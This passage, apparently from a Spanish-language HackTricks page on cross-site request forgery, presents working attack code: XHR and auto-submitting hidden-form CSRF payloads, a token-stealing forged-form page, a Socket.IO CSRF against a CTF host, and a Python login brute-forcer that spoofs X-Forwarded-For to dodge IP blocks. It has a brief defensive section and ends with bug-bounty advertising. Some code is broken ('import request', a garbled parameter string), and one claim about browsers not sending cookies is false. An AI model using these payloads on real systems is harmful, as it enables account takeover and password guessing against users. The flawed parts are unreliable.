Una vez que tenemos el token CSRF, podemos usar Ajax para enviar una solicitud POST al servidor objetivo. Aquí está el código de ejemplo:
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.example.com/endpoint", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("X-CSRF-Token", "<TOKEN_CSRF>");
xhr.send("param1=value1¶m2=value2");
Asegúrate de reemplazar "https://www.example.com/endpoint" con la URL del punto final al que deseas enviar la solicitud POST. Además, reemplaza "<TOKEN_CSRF>" con el token CSRF que has obtenido.
- También podemos enviar una solicitud POST utilizando un formulario oculto. Aquí está el código de ejemplo:
<form id="csrfForm" action="https://www.example.com/endpoint" method="POST">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
<input type="hidden" name="X-CSRF-Token" value="<TOKEN_CSRF>">
</form>
<script>
document.getElementById("csrfForm").submit();
</script>
Al igual que antes, asegúrate de reemplazar "https://www.example.com/endpoint" con la URL del punto final al que deseas enviar la solicitud POST. Además, reemplaza "<TOKEN_CSRF>" con el token CSRF que has obtenido.
Estas técnicas permiten a un atacante enviar solicitudes POST en nombre del usuario sin su conocimiento o consentimiento. Es importante que los desarrolladores implementen medidas de protección adecuadas, como el uso de tokens CSRF y la validación de referencias, para mitigar este tipo de ataques.
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
CSRF con Socket.IO
Socket.IO es una biblioteca de JavaScript que permite la comunicación bidireccional en tiempo real entre el cliente y el servidor. Aunque Socket.IO proporciona una capa de seguridad incorporada, aún es posible que un atacante aproveche una vulnerabilidad de falsificación de solicitudes entre sitios (CSRF) para realizar acciones no deseadas en nombre del usuario.
¿Qué es CSRF?
La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque en el que un atacante engaña a un usuario para que realice una acción no deseada en un sitio web en el que el usuario está autenticado. Esto se logra engañando al usuario para que haga clic en un enlace o botón malicioso que realiza una solicitud HTTP en segundo plano sin su conocimiento.
CSRF con Socket.IO
Socket.IO utiliza cookies para mantener la sesión del usuario y autenticar las solicitudes entrantes. Sin embargo, las cookies no son suficientes para proteger contra ataques CSRF, ya que los navegadores modernos no envían automáticamente las cookies en solicitudes realizadas a través de JavaScript.
Para protegerse contra CSRF en una aplicación que utiliza Socket.IO, se deben implementar medidas adicionales. Una forma común de hacerlo es incluir un token CSRF en cada solicitud y verificar su validez en el servidor.
Implementación de protección CSRF en Socket.IO
- Generar un token CSRF único para cada sesión de usuario y almacenarlo en una cookie segura.
- Incluir el token CSRF en cada solicitud enviada desde el cliente a través de Socket.IO.
- Verificar la validez del token CSRF en el servidor antes de procesar la solicitud.
Al implementar esta protección CSRF en Socket.IO, se asegura de que solo las solicitudes legítimas, que incluyen el token CSRF correcto, sean procesadas por el servidor. Cualquier solicitud sin un token válido será rechazada, lo que ayuda a prevenir ataques CSRF exitosos.
Es importante tener en cuenta que la protección CSRF en Socket.IO debe ser implementada de forma personalizada, ya que Socket.IO no proporciona una solución integrada para este tipo de ataques.
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
CSRF Ataque de Fuerza Bruta en el Inicio de Sesión
El código se puede utilizar para realizar un ataque de fuerza bruta en un formulario de inicio de sesión utilizando un token CSRF (también utiliza el encabezado X-Forwarded-For para intentar evadir un posible bloqueo de IP):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Herramientas
Referencias
- https://portswigger.net/web-security/csrf
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
Regístrate en HackenProof ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.